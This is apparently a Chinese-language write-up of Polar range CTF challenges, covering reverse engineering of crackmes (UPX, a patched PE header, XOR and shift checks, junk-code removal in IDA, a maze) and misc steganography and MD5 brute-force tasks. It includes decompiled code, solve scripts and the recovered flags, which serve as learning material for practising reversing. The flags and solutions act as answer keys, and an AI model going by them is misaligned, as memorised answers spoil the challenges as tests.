通过做题快速建立逆向框架,理解逆向在其他不同方向的作用
逆向是一个核心技能,我们通过刷题,理解逆向在其他方向中的作用
题目来源polar靶场
简单题
RE
逆向愈发重要,我们通过题目快速建立逆向的基础
顺便熟悉一下各个方向的基础知识,因为后续要求的知识栈很宽广
第一题:shell
这个题目的话应该是base加密
额,是upx壳,呃呃呃
我们通过main进行溯源,成功找到main函数
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char Str1[60]; // [esp+D0h] [ebp-78h] BYREF
char Str2[21]; // [esp+10Ch] [ebp-3Ch] BYREF
int v6; // [esp+121h] [ebp-27h]
int v7; // [esp+125h] [ebp-23h]
int v8; // [esp+129h] [ebp-1Fh]
int v9; // [esp+12Dh] [ebp-1Bh]
int v10; // [esp+131h] [ebp-17h]
int v11; // [esp+135h] [ebp-13h]
int v12; // [esp+139h] [ebp-Fh]
char v13; // [esp+13Dh] [ebp-Bh]
__CheckForDebuggerJustMyCode(&unk_546005);
strcpy(Str2, "flag{crack_is_funny}");
v6 = 0;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
v13 = 0;
j__memset(Str1, 0, 0x32u);
sub_45A4C4("please input flag\r\n");
sub_45A9A1(&unk_519E50, (char)Str1);
if ( !j__strcmp(Str1, Str2) )
sub_45A4C4("success\r\n");
else
sub_45A4C4("error\r\n");
j__system("pause");
return 0;
}这个题其实可以直接看出来,我们通过动调获取flag也是后知后觉
第二题:PE结构
这里我们还是直接尝试脱壳,结果发现不行
⚡Lenovo ❯❯ upx -d 'PE结构.exe'
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2025
UPX 5.0.0 Markus Oberhumer, Laszlo Molnar & John Reiser Feb 20th 2025
File size Ratio Format Nameupx: PE结构.exe: NotPackedException: not packed by UPX
Unpacked 0 files.
我们拖入010editor
DOS头 和 NT头 就是 PE 文件中两个重要的文件头
一个 WORD 类型,值是一个常数 0x4D5A,用文本编辑器查看该值位‘MZ’,可执行文件必须都是'MZ'开头
这里是发现是DOS头被调改了
我们修改成4D然后点击保存运行即可
第三题:拼接
用记事本打开看看
然后我们改一下后缀打开看看
今年我们来看一下这个函数
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-160h]
char v5; // [esp+0h] [ebp-160h]
char Str1[60]; // [esp+D0h] [ebp-90h] BYREF
char Destination[60]; // [esp+10Ch] [ebp-54h] BYREF
char *_03ff6cf238c5cd8e7b4ee1e9567ad5a4; // [esp+148h] [ebp-18h]
char *Source; // [esp+154h] [ebp-Ch]
__CheckForDebuggerJustMyCode(&unk_41B009);
Source = "flag{";
_03ff6cf238c5cd8e7b4ee1e9567ad5a4 = "03ff6cf238c5cd8e7b4ee1e9567ad5a4}";
j_memset(Destination, 0, 0x32u);
j_memset(Str1, 0, 0x32u);
j_strcpy(Destination, "flag{");
j_strcat(Destination, _03ff6cf238c5cd8e7b4ee1e9567ad5a4);
sub_411050("please input flag\r\n", v4);
sub_4110AA("%s", (char)Str1);
if ( !j_strcmp(Str1, Destination) )
sub_411050("congratulation\r\n", v5);
else
sub_411050("error\r\n", v5);
return 0;
}依旧是动调直接出flag
第四题:加加减减
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-154h]
char v5; // [esp+0h] [ebp-154h]
size_t i; // [esp+D0h] [ebp-84h]
char Str[60]; // [esp+DCh] [ebp-78h] BYREF
char Str2[39]; // [esp+118h] [ebp-3Ch] BYREF
int v9; // [esp+13Fh] [ebp-15h]
int v10; // [esp+143h] [ebp-11h]
__int16 v11; // [esp+147h] [ebp-Dh]
char v12; // [esp+149h] [ebp-Bh]
__CheckForDebuggerJustMyCode(&unk_41C009);
strcpy(Str2, "ek`fz5123086/ce7ac7/`4a81`6/87b`b28a5|");
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
j_memset(Str, 0, 0x32u);
sub_41104B("input\r\n", v4);
sub_4110AA("%s", (char)Str);
for ( i = 0; i < j_strlen(Str); ++i )
--Str[i];
if ( !j_strcmp(Str, Str2) )
sub_41104B("success\r\n", v5);
else
sub_41104B("sorry\r\n", v5);
return 0;
}这个好像有个反调试,我们不能直接运行过去
我们分析逻辑,就是讲输入的每一个字符减一,然后再与一开始的字符串比较
我们一开始用下面这个方式写的
str1 = "ek`fz5123086/ce7ac7/`4a81`6/87b`b28a5|"
str2 = ""
for i in range(len(str1)):
str2 += str1[i] + 1
print(str2)然后我们用下面这个方式去写
多上一步使用Unicode去转化,就是进入到单纯的数值层级与计算
str1 = "ek`fz5123086/ce7ac7/`4a81`6/87b`b28a5|"
str2 = ""
for i in range(len(str1)):
value = ord(str1[i])
new_value = value + 1
new_value = chr(new_value)
str2 += new_value
print(str2)第五题:康师傅
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+D0h] [ebp-84h]
char Str2[60]; // [esp+DCh] [ebp-78h] BYREF
char Str1[39]; // [esp+118h] [ebp-3Ch] BYREF
int v7; // [esp+13Fh] [ebp-15h]
int v8; // [esp+143h] [ebp-11h]
__int16 v9; // [esp+147h] [ebp-Dh]
char v10; // [esp+149h] [ebp-Bh]
__CheckForDebuggerJustMyCode(&unk_97B006);
strcpy(Str1, "oehnr8>?;<?:9k>09;hj00o>:<o?8lh;8h9l;t");
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
j__memset(Str2, 0, 0x32u);
sub_89748D(&right);
sub_897929(&unk_950E50, (char)Str2);
for ( i = 0; i < j__strlen(Str2); ++i )
Str2[i] ^= 9u;
if ( !j__strcmp(Str1, Str2) )
sub_89748D("right");
else
sub_89748D("error");
return 0;
}这个是比较的加密的,我们没法直接获取flag
我们需要异或一下输入
这个比我们平时做的简单多了
str1 = "oehnr8>?;<?:9k>09;hj00o>:<o?8lh;8h9l;t"
new = ""
for i in range(len(str1)):
value = ord(str1[i])
new_value = value ^ 9
new += chr(new_value)
print(new, end="")第六题:另辟蹊径
这个题是提供了GUI界面的一个题目
我们拖进去ida找字符串没找到flag
这个看其他的wp说是需要用到一改值的工具,我们不去弄了
第七题:use_jadx_open_it
apk文件,用jadx打开,进入MainActivity
然后我们直接看最后的结果比较就行
package com.example.myapplication;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
private static final String TAG = "MainActivity";
Button btn_reg;
EditText edit_sn;
static {
System.loadLibrary("native-lib");
}
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.edit_sn = (EditText) findViewById(R.id.editText1);
this.btn_reg = (Button) findViewById(R.id.button1);
initClickEvent();
}
private void initClickEvent() {
this.btn_reg.setOnClickListener(new View.OnClickListener() { // from class: com.example.myapplication.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
if (MainActivity.this.edit_sn.getText().toString().equals("flag{go_to_study_android}")) {
Toast.makeText(MainActivity.this, "flag正确", 0).show();
} else {
Toast.makeText(MainActivity.this, "flag错误", 0).show();
}
}
});
}
}第八题:re2
这个也是很简单,直接给flag
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char *src; // rax
const char *src_1; // rax
char buf[48]; // [rsp+0h] [rbp-170h] BYREF
__int16 v8; // [rsp+30h] [rbp-140h]
_BYTE buf__1[48]; // [rsp+40h] [rbp-130h] BYREF
__int16 v10; // [rsp+70h] [rbp-100h]
char dest[96]; // [rsp+80h] [rbp-F0h] BYREF
int v12; // [rsp+E0h] [rbp-90h]
char s2[96]; // [rsp+F0h] [rbp-80h] BYREF
int v14; // [rsp+150h] [rbp-20h]
unsigned __int64 v15; // [rsp+158h] [rbp-18h]
v15 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v8 = 0;
memset(buf__1, 0, sizeof(buf__1));
v10 = 0;
memset(dest, 0, sizeof(dest));
v12 = 0;
memset(s2, 0, sizeof(s2));
v14 = 0;
strcat(buf, "flag{e10adc3949ba59abbe56e057f20f883e}");
src = (const char *)base64_encode(buf);
strcpy(dest, src);
puts("Please enter flag");
__isoc99_scanf("%s", buf__1);
src_1 = (const char *)base64_encode(buf__1);
strcpy(s2, src_1);
if ( !strcmp(dest, s2) )
printf("flag = %s\n", buf);
else
puts("flag error!!!");
return __readfsqword(0x28u) ^ v15;
}第九题:layout
这个我们直接提交flag不行,然后想到题目名字是layout,我们直接去layout那里去看看
我们全局搜索flag即可
第十题:Why32
void __cdecl _do_global_ctors()
{
int i; // ebx
i = (*refptr___CTOR_LIST__)[0];
if ( i == -1 )
{
for ( i = 0; (*refptr___CTOR_LIST__)[i + 1]; ++i )
;
}
for ( ; i; --i )
((void (*)(void))(*refptr___CTOR_LIST__)[i])();
atexit(_do_global_dtors);
}这个有点怪
下面这个是主函数
void __cdecl Start()
{
Input();
if ( Judge() == 1 )
puts("Wrong input");
else
Do();
}这个也是对输入加密,进行加密之间的比较
void __cdecl Do()
{
char cAry[40]; // [rsp+20h] [rbp-30h] BYREF
int flag; // [rsp+48h] [rbp-8h]
int i; // [rsp+4Ch] [rbp-4h]
strcpy(cAry, "2gfe8c8c4cde574f7:c6c;:;3;7;2gf:");
cAry[33] = 0;
flag = 0;
for ( i = 0; i <= 31; ++i )
{
if ( str[i] != cAry[i] - 2 )
{
puts("you are wrong");
flag = 1;
break;
}
}
if ( !flag )
puts("Half right,think more");
}我们让输入的数值加上2即可,减去2,这里被惯性误导了
str1 = "2gfe8c8c4cde574f7:c6c;:;3;7;2gf:"
str2 = ''
for i in range(len(str1)):
value = ord(str1[i])
new_value = value - 2
new_value = chr(new_value)
str2 += new_value
print(str2)由于数据为32位,且只有数字和字母,猜测经过了md5加密,到在线网站解密
还原出来时md5,然后还需要进行md5解密
第十一题:?64
int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD v4[2]; // [rsp+20h] [rbp-40h]
int v5; // [rsp+30h] [rbp-30h]
_WORD YlwAY08ob1gkTlT_[12]; // [rsp+40h] [rbp-20h] BYREF
int v7; // [rsp+58h] [rbp-8h]
int i; // [rsp+5Ch] [rbp-4h]
_main();
strcpy((char *)YlwAY08ob1gkTlT_, "YlwAY08ob1gkTlT<");
HIBYTE(YlwAY08ob1gkTlT_[8]) = 0;
YlwAY08ob1gkTlT_[9] = 0;
v4[0] = 0;
v4[1] = 0;
v5 = 0;
v7 = www((char *)YlwAY08ob1gkTlT_);
for ( i = 0; i < v7; ++i )
{
*((_BYTE *)v4 + i) = *((_BYTE *)YlwAY08ob1gkTlT_ + i) + 1;
putchar(*((char *)v4 + i));
}
return 0;
}递归加1
str1 = "YlwAY08ob1gkTlT<"
str2 = ''
for i in range(len(str1)):
value = ord(str1[i])
new_value = value + 1
new_value = chr(new_value)
str2 += new_value
print(str2)
#ZmxBZ19pc2hlUmU=这个看起来很像是base加密
我们这样打印发现明显不是,然后我们推测和上一题是一个类型的题目
print(base64.b64decode(str2))
#flAg_isheRe用这个网站在线解密即可
第十二题:Sign Up
我们用的是ida9.1,这个自动把字符串打印出来
int Check_Data(void)
{
int n3; // [rsp+20h] [rbp-10h]
int n6; // [rsp+24h] [rbp-Ch]
int v3; // [rsp+28h] [rbp-8h]
int v4; // [rsp+2Ch] [rbp-4h]
v4 = 1;
v3 = 1;
for ( n6 = 0; n6 <= 6; ++n6 )
{
if ( num[n6] + 1 != key_num[n6] ) // "192168109"
v4 = 0;
}
for ( n3 = 0; n3 <= 3; ++n3 )
{
if ( password[n3] + 2 != key_password[n3] ) // "root"
v3 = 0;
}
if ( !v4 && !v3 )
return puts(&Buffer_);
if ( !v4 )
return puts(&Buffer__0);
if ( v3 )
return printf(&Format);
return puts(&Buffer__1);
}这个题目设置了分割符,特意留下了两位
key_num = '1921681'
key_password = 'root'
num = ''.join(chr(ord(i)-1) for i in key_num)
password = ''.join(chr(ord(j)-2) for j in key_password)
print(num,'09',password,sep='')
# 081057009pmmr然后md5解密即可
中等题
re
第一题:JunkCode
上来先来一个花指令
// attributes: thunk
int __cdecl main(int argc, const char **argv, const char **envp)
{
JUMPOUT(0xAC19F0);
}这个我们来去除一下花指令
花指令大概是在这个位置
.text:00AC1AB0 push eax
.text:00AC1AB1 push offset unk_AC7B30
.text:00AC1AB6 call sub_AC13AC
.text:00AC1ABB add esp, 8
.text:00AC1ABE xor eax, eax
.text:00AC1AC0 test eax, eax
.text:00AC1AC2 jz short near ptr loc_AC1AC4+1
.text:00AC1AC4
.text:00AC1AC4 loc_AC1AC4: ; CODE XREF: .text:00AC1AC2↑j
.text:00AC1AC4 call near ptr 0C8951CB4h
.text:00AC1AC9 test [edi+edi*8-1], edi
.text:00AC1ACD inc dword ptr [eax]但00411AC4为花指令,后面的内容无法被正常识别和解析,导致反编译失败
具体的操作方法是:选中内存地址00411AC4,
按U键进行undefine
我们这样进行patch一下
按U键进行undefine
再选中00411AC5处按C键MakeCode
最后到函数头位置按P构建函数
然后我们成功还原,这里注意顺序不能错
先u,然后c,然后patch,然后再c,然后再p
这样之后花指令就还原出来了
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
char p_Str1; // [esp+0h] [ebp-154h]
char p_Str1_1; // [esp+0h] [ebp-154h]
size_t i; // [esp+D0h] [ebp-84h]
char Str1[60]; // [esp+DCh] [ebp-78h] BYREF
char Str[24]; // [esp+118h] [ebp-3Ch] BYREF
int v9; // [esp+130h] [ebp-24h]
int v10; // [esp+134h] [ebp-20h]
int v11; // [esp+138h] [ebp-1Ch]
int v12; // [esp+13Ch] [ebp-18h]
int v13; // [esp+140h] [ebp-14h]
int v14; // [esp+144h] [ebp-10h]
__int16 v15; // [esp+148h] [ebp-Ch]
qmemcpy(Str, "dnceyhwli]amfg]kq]dwll{", 23);
Str[23] = 127;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
v15 = 0;
j_memset(Str1, 0, 0x32u);
sub_41104B("please input flag\r\n", p_Str1);
sub_4113AC("%s", (char)Str1);
for ( i = 0; i < j_strlen(Str); ++i )
Str[i] ^= 2u;
if ( !j_strcmp(Str1, Str) )
{
sub_41104B("funny\r\n", p_Str1_1);
}
else
{
sub_41104B("%s\r\n", (char)Str1);
sub_41104B("No\r\n", p_Str1_1);
}
return system("pause");
}这个我们没法动调,我们只能去还原一下这个逻辑了
str1 = "dnceyhwli]amfg]kq]dwll{"
str2 = ""
for i in range(len(str1)):
value = ord(str1[i])
new_value = value ^ 2
new_value = chr(new_value)
str2 += new_value
print(str2)第二题:RevMethod
我们通过字符串来追踪flag
全是flag我们看到
int sub_411990()
{
unsigned int Seed; // eax
int n2; // edx
char v3; // [esp+0h] [ebp-218h]
char v4; // [esp+0h] [ebp-218h]
int n32; // [esp+D0h] [ebp-148h]
int n100; // [esp+DCh] [ebp-13Ch]
char v7[264]; // [esp+E8h] [ebp-130h] BYREF
int v8; // [esp+1F0h] [ebp-28h]
char abcdef0123456789_[24]; // [esp+1FCh] [ebp-1Ch] BYREF
int savedregs; // [esp+218h] [ebp+0h] BYREF
sub_411334(&unk_41D006);
Seed = sub_411E80(0);
srand(Seed);
sub_411258();
strcpy(abcdef0123456789_, "abcdef0123456789");
v8 = 0;
j_memset(v7, 0, 0x100u);
for ( n100 = 0; n100 < 100; ++n100 )
{
for ( n32 = 0; n32 < 32; ++n32 )
{
rand();
v7[n32] = abcdef0123456789_[sub_411258() % 16];
}
sub_4110D7("\"flag{%s}\", \r\n", (char)v7);
}
sub_4110D7("What is the true flag???\r\n", v3);
sub_411037("%s", (char)v7);
n2 = v7[0];
if ( v7[0] == aFlag041288f9fc[0] ) // "flag{041288f9fc681ededc8df9ffb004c97f}"
{
n2 = 1;
if ( v7[1] == aFlag241ec07e92[1] ) // "flag{241ec07e923d8d11d27e6821df610102}"
{
n2 = 2;
if ( v7[2] == aFlag41c869e5dd[2] ) // "flag{41c869e5dd4ad4bee41d275591f3210e}"
{
n2 = v7[3];
if ( v7[3] == aFlag8931524e9c[3] ) // "flag{8931524e9c7ce4d6036a477ce8bc1a75}"
{
n2 = 4;
if ( v7[4] == aFlagEe589baaf0[4] ) // "flag{ee589baaf0e5ec684d75b795c4abda66}"
{
n2 = v7[5];
if ( v7[5] == aFlagCdb10e3873[5] ) // "flag{cdb10e38735935eae8a6989e372bd598}"
{
n2 = v7[6];
if ( v7[6] == aFlagCdb10e3873[6] )// "flag{cdb10e38735935eae8a6989e372bd598}"
sub_4110D7("Just is it!!!", v4);
}
}
}
}
}
}
sub_4111F4(&savedregs, &dword_411C54, 0, n2);
return sub_411258();
}这个不是我们想要的
这个我们缺失了dll链接库,导致我们运行不了,然后我们缺失的好像也正好是那个部分
不是,我们这个题目的话提交最后flag就行了
第三题:逆一下子
这个题目一打开就是flag
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
int hWnd; // eax
HWND hWnd_1; // esi
HACCEL hAccTable; // [esp+8h] [ebp-54h]
tagMSG Msg; // [esp+Ch] [ebp-50h] BYREF
WNDCLASSEXW v8; // [esp+28h] [ebp-34h] BYREF
LoadStringW(hInstance, 0x67u, &WindowName, 100);
LoadStringW(hInstance, 0x6Du, &ClassName, 100);
v8.cbSize = 48;
v8.style = 3;
v8.lpfnWndProc = sub_401180;
v8.cbClsExtra = 0;
v8.cbWndExtra = 0;
v8.hInstance = hInstance;
v8.hIcon = LoadIconW(hInstance, (LPCWSTR)0x6B);
v8.hCursor = LoadCursorW(0, (LPCWSTR)0x7F00);
v8.hbrBackground = (HBRUSH)6;
v8.lpszMenuName = (LPCWSTR)109;
v8.lpszClassName = &ClassName;
v8.hIconSm = LoadIconW(hInstance, (LPCWSTR)0x6C);
RegisterClassExW(&v8);
::hInstance = hInstance;
hWnd = (int)CreateWindowExW(0, &ClassName, &WindowName, 0xCF0000u, 0x80000000, 0, 0x80000000, 0, 0, 0, hInstance, 0);
hWnd_1 = (HWND)hWnd;
if ( hWnd )
{
ShowWindow((HWND)hWnd, nShowCmd);
UpdateWindow(hWnd_1);
hAccTable = LoadAcceleratorsW(hInstance, (LPCWSTR)0x6D);
while ( GetMessageW(&Msg, 0, 0, 0) )
{
if ( !TranslateAcceleratorW(Msg.hwnd, hAccTable, &Msg) )
{
TranslateMessage(&Msg);
DispatchMessageW(&Msg);
}
}
return Msg.wParam;
}
return hWnd;
}然后我们跟进这个函数
LRESULT __stdcall sub_401180(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
tagPAINTSTRUCT Paint; // [esp+8h] [ebp-48h] BYREF
switch ( Msg )
{
case 2u:
PostQuitMessage(0);
return 0;
case 0xFu:
BeginPaint(hWnd, &Paint);
EndPaint(hWnd, &Paint);
return 0;
case 0x111u:
switch ( (unsigned __int16)wParam )
{
case 0x68u:
DialogBoxParamW(hInstance, (LPCWSTR)0x67, hWnd, DialogFunc, 0);
return 0;
case 0x69u:
DestroyWindow(hWnd);
return 0;
case 0x8004u:
MessageBoxW(0, L"So smart you are!", L"c68d-d262-5b91-2541-1ba7-1f3d-8103-41c4", 0);
return 0;
default:
return DefWindowProcW(hWnd, 0x111u, wParam, lParam);
}
default:
return DefWindowProcW(hWnd, Msg, wParam, lParam);
}
}这个需要Resource Hacker这个工具
这个我们没有工具,直接找答案
第四题:可以为师
这个题目直接给main函数就很舒服
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ecx
char v4; // al
char n48; // dl
char _00000000000000000@000001110000000100111101011100010010000101010[132]; // [esp+8h] [ebp-88h] BYREF
strcpy(
_00000000000000000@000001110000000100111101011100010010000101010,
"00000000000000000@00000111000000010011110101110001001000010101000100111001110110010000100000001001111110000000$00000000000000000");
v3 = 0;
do
{
v4 = _00000000000000000@000001110000000100111101011100010010000101010[v3++];
byte_41D2CF[v3] = v4;
}
while ( v4 );
dword_41D2C8 = 1;
unk_41D2CC = 1;
puts("Welcome to the maze of my heart!\r\nPlease use 'wasd' control yourself, good luck!\r\nPress ary key to start:");
sub_404DF7();
sub_401010("Please input your route:", (char)"pause");
while ( 1 )
{
switch ( (unsigned __int8)j___fgetchar() )
{
case 'a':
--dword_41D2C8;
break;
case 'd':
++dword_41D2C8;
break;
case 's':
++unk_41D2CC;
break;
case 'w':
--unk_41D2CC;
break;
default:
continue;
}
n48 = byte_41D2D0[16 * unk_41D2CC + dword_41D2C8];
if ( n48 == 48 )
break;
if ( n48 == 36 )
sub_401040();
byte_41D2D0[16 * unk_41D2CC + dword_41D2C8] = 64;
}
sub_401010("You lose!!!\r\n", _00000000000000000@000001110000000100111101011100010010000101010[0]);
return 0;
}这个迷宫题是我们第一次去做,想出一个迷宫pwn
如果它用的是 _getch()(常见于 Windows 控制台程序),那么 pwntools 无法交互,因为 _getch() 不走 stdin/stdout 管道。
所以我们pwntools的交互成功失败了
# solve_with_pwntools.py
from pwn import *
import time
# ===== 配置 =====
context.log_level = 'debug' # 显示收发数据
# 如果是本地 Windows exe
exe = './Maze.exe' # 改成你的路径
# 如果是远程(CTF 常见)
# io = remote('ip', port)
io = process(exe)
# ===== 1. 跳过 "Press any key to start" =====
log.info("Sending start key...")
io.send(b'x') # 任意字符,比如 'x'
# ===== 2. 等待提示 "Please input your route:" =====
io.recvuntil(b"Please input your route:")
# ===== 3. 发送路径 =====
path = b"sssssdddddwwaawwdddwddsssddwwddssdss"
log.info(f"Sending path: {path.decode()}")
io.send(path)
# ===== 4. 接收结果 =====
try:
result = io.recvall(timeout=2) # 读完所有输出
print("\n" + "="*50)
print(result.decode(errors='ignore'))
print("="*50)
if b"flag" in result or b"win" in result.lower() or b"congrat" in result.lower():
log.success("🎉 Got the flag!")
else:
log.failure("No flag found.")
except EOFError:
log.warning("Process ended early.")
io.close()但在 Windows 上,完全自动化捕获 _getch() 程序的输出并响应非常困难。不过,我们可以采用一个 半自动但高效的爆破策略
_getch()不接受管道输入 → 无法用subprocess控制- Windows 控制台程序的输出虽然可通过
subprocess捕获(如果没重定向),但输入无法注入 - 真正的“爆破”(尝试所有路径)会因路径长度指数爆炸而不可行(你的路径已是最短)
- 起点
(1,1) - 终点
$在(14,6) - 路径已通过 BFS 找到
这个交给ai给我写个就能出,原理的以后再去学习
sssssdddddwwaawwdddwddsssddwwddssdss
第六题:混淆Code?
int __fastcall main(int argc, const char **argv, const char **envp)
{
int j; // [rsp+28h] [rbp-58h]
int i; // [rsp+2Ch] [rbp-54h]
_main();
puts("Input :");
gets(str);
Check_Length();
Strlen();
for ( i = 0; i < strlen(str); ++i )
{
for ( j = 0; j < strlen(str); ++j )
{
if ( (j & 1) != 0 )
flag[100 * j + i] = i + 98;
else
flag[100 * i + j] = j + 97;
}
}
if ( !tick )
X();
check();
return 0;
}奇偶分开处理
__int64 X(void)
{
__int64 result; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = (unsigned int)(x - 1);
if ( (int)result <= i )
break;
str[i] ^= j++; // 8
}
return result;
}这个函数对于处理好的数值再次进行处理
__int64 check(void)
{
int *x_1; // rdx
char _lfgc_y_b_v__[96]; // [rsp+20h] [rbp-60h] BYREF
int v3; // [rsp+80h] [rbp+0h]
int v4; // [rsp+84h] [rbp+4h] BYREF
int x; // [rsp+8Ch] [rbp+Ch]
strcpy(_lfgc_y_b_v__, "`lfgc-y`b}v!");
memset(&_lfgc_y_b_v__[13], 0, 0x53);
v3 = 0;
x_1 = &v4;
for ( x = 0; x < ::x; ++x )
{
x_1 = (int *)x;
if ( _lfgc_y_b_v__[x] != str[x] )
{
printf("Error!");
return 0;
}
}
printf(aRight, x_1);
return 1;
}这个函数是最后的检查,就是对后面的字节清零,然后和我们的输入比较,我们来逆推一下输入
首先我们先解决一下异或的问题,很长时间不写生疏了太多了
s = "`lfgc-y`b}v!"
str = []
for i in range(len(s)):
a = chr(ord(s[i]) ^ (8 + i))
str.append(a)
result = ''.join(str)
print(result)
#hello world2 这里的2并没有被影响
#hello world! 实际上是这个这里的话可以进行ida的动调,在动调中是可以看数值的,动调查看的话图片如下
然后我们计算好md5提交上即可
腾讯云这个社区也是挺不错的
第七题:Java_tools
题目给出一个jar包,对输入的数值进行了下述的加密
package main.java;
import java.util.Scanner;
/* loaded from: Java_project.jar:main/java/Test.class */
public class Test {
public static void main(String[] args) {
Scanner in = new Scanner(System.in);
System.out.println("Welcome to Polar_Ctf!,come to play!");
System.out.println("Please Input : ");
char[] Strings = in.next().toCharArray();
Tools.Add_1(Strings, 3);
Tools.Re(Strings);
Tools.Judge(Strings);
}
}一个是add
public static void Add_1(char[] str, int x) {
for (int i = 0; i < str.length; i++) {
str[i] = (char) (str[i] + x);
}
一个是re1
public static void Re(char[] str) {
for (int i = 0; i < (str.length / 2) - 1; i++) {
char temp = str[i];
str[i] = str[(str.length - i) - 1];
str[(str.length - i) - 1] = temp;
}
}这里的xor没有调用,我们逐步分析一下
首先对于每一位+3
然后加上了一个交换的颠倒的算法
写python逆向的时候遇到一些问题
str类型是不可变的,也就是说你不能通过索引直接修改字符串中的某个字符,比如str[i] = 'x'是不允许的。
str = "$gourZroohK"
str_list = list(str)
for i in range(int(len(str_list)/2) - 1):
temp = str_list[i]
str_list[i] = str_list[(len(str_list) - i) - 1]
str_list[(len(str_list) - i) - 1] = temp
print(''.join(str_list))
for i in range(len(str)):
str_list[i] = chr(ord(str_list[i])-3)
print(''.join(str_list))第八题:PY_RE
解密比较,这里说明不能通过动调的方式直接出flag
判断代码如下
def Judge(Input_Str):
FLAG = ['H', 'E', 'L', 'L', 'O', '_', '_', 11, 2, 7, 19, 12, 13]
if str(Input_Str) == str(FLAG):
print("YES!")
else:
print("NO!")
all_data = []加密代码如下,一开始看成endata了,看错了
def EnData1(Input_Str,Dict):
for i in range(int(len(Input_Str)/2),len(Input_Str)):
for dict in Dict:
if Input_Str[i] == str(dict):
Input_Str[i] = Dict[dict]
break打印出来我们的dict,其实这里的逻辑的话也不能,主要是忘了Dict这个了
key = 'A'
value = 26
for i in range(1,27):
Dict.setdefault(key, value)
key = chr(ord(key) + 1)
value = value - 1
print("Dict:", Dict)Dict: {'A': 26, 'B': 25, 'C': 24, 'D': 23, 'E': 22, 'F': 21, 'G': 20, 'H': 19, 'I': 18, 'J': 17, 'K': 16, 'L': 15, 'M': 14, 'N': 13, 'O': 12, 'P': 11, 'Q': 10, 'R': 9, 'S': 8, 'T': 7, 'U': 6, 'V': 5, 'W': 4, 'X': 3, 'Y': 2, 'Z': 1}字典长度26
然后丢给ai分析,牵扯字符映射之类的,今天很累,先不去纠结了。
高等题
下面一开始刷错了,刷成all了
misc
第一题:broken_hash
题目给了我们两个附件,一个是png,一个是tip
我们用010打开png发现末位存在flag
binwalk分离之后得到提示7bf21a26cd6
爆破密码即可
# 残缺的哈希值 4位数字加字母
import string, re, hashlib, sys
# string.ascii_uppercase 所有大写字母
# string.ascii_lowercase 所有小写字母
# string.ascii_letters 所有字母
# string.digits 所有数字
# 将哈希值所有可能的元素作为一个字符串赋值给 dic
dic = string.ascii_letters + string.digits
for q in dic:
for w in dic:
for e in dic:
for r in dic:
test_str = str(q) + str(w) + str(e) + str(r)
flag = hashlib.md5(test_str.encode()).hexdigest()
# 如果字符串匹配到 "部分字符串",则输出
if(re.findall('7bf21a26cd6(.*?)',flag)):
print(flag)
sys.exit()
#7bf21a26cd627170e0e05ceee551c044
#H3lo第二题:deep
题目给了我们提示,这里是运行之后的数据的结果存放的地方
859254885
1714499893
875837240
825505075
962737761
1647404083
842360118
811938613然后题目还给了我们一个源代码
这个是用c++写的,简单的分析一下逻辑,取数组内的数值,4个4个叠加,只打印出来原先索引位置是4的数值
还有注意的是这里ide单位的转化,所以说这里不是一个个输入的,而是一组组的输入的,我们将其转化成字符的形式应该会有flag
/*
g_szBuffer数组中存储原本flag,不小心被删除了!
运行后得到的数据存储在hint文件中,恢复flag嘛,看你的了^_^
得到数据后,注意格式:flag{g_szBuffer中的数据}
*/
#include <iostream>
char g_szBuffer[] = "";
int main(int argc, char *argv[])
{
unsigned int uNum = 0;
for (int i = 0; i < sizeof(g_szbuffer) / 4; i++)
{
unum = *(unsigned int*)(&g_szbuffer[i * 4]);
printf("%d\r\n", unum);
}
system("pause");
return 0;
}然后我们还原的时候用上按位与,chr和ord这个底层的数值转化即可
之后将获取到的flag提交即可
str1 = '''
859254885
1714499893
875837240
825505075
962737761
1647404083
842360118
811938613
'''
str1 = str1.strip().split('\n')
numbers = [int(str.strip() for str in str1 if str.strip())]
result = ""
for num in numbers:
byte1 = num & 0xff
byte2 = (num >> 8) & 0xff
byte3 = (num >> 16) & 0xff
byte4 = (num >> 24) & 0xff
result += chr(byte1) + chr(byte2) + chr(byte3) + chr(byte4)
print(result)
#e073511f87443541a6b93d1b6e5253e0第三题:爱你
打开一看,是一个png图片,然后进入misc的领域
我们用Stegsolve.jar这个工具,红绿蓝0位通道可看到压缩文件格式开头的十六进制文本
然后我们用010editor可以弄到一个加密的压缩包,压缩包里有部分提示
我们解密一下
import utf9
pwd = b",\x9b\xce\xa6s)\xd0\xd2t\x10\x9c\x0c'3\x99\xdc`r2\x08\r'1\x010\xdev2\x90\xcf&\xe3 \xc4"
utf9.utf9decode(pwd)然后解压压缩包即可获得flag
flag{01e979f6dd21cd325e05fc1405e76bfd}
第四题:caigou
这个是个压缩包爆破的题目,密码爆破之后如下
zaqqaz
用随波逐流梭一下就行了
flag{ae7e960d8e7ce40e2157285680e2a5e4}
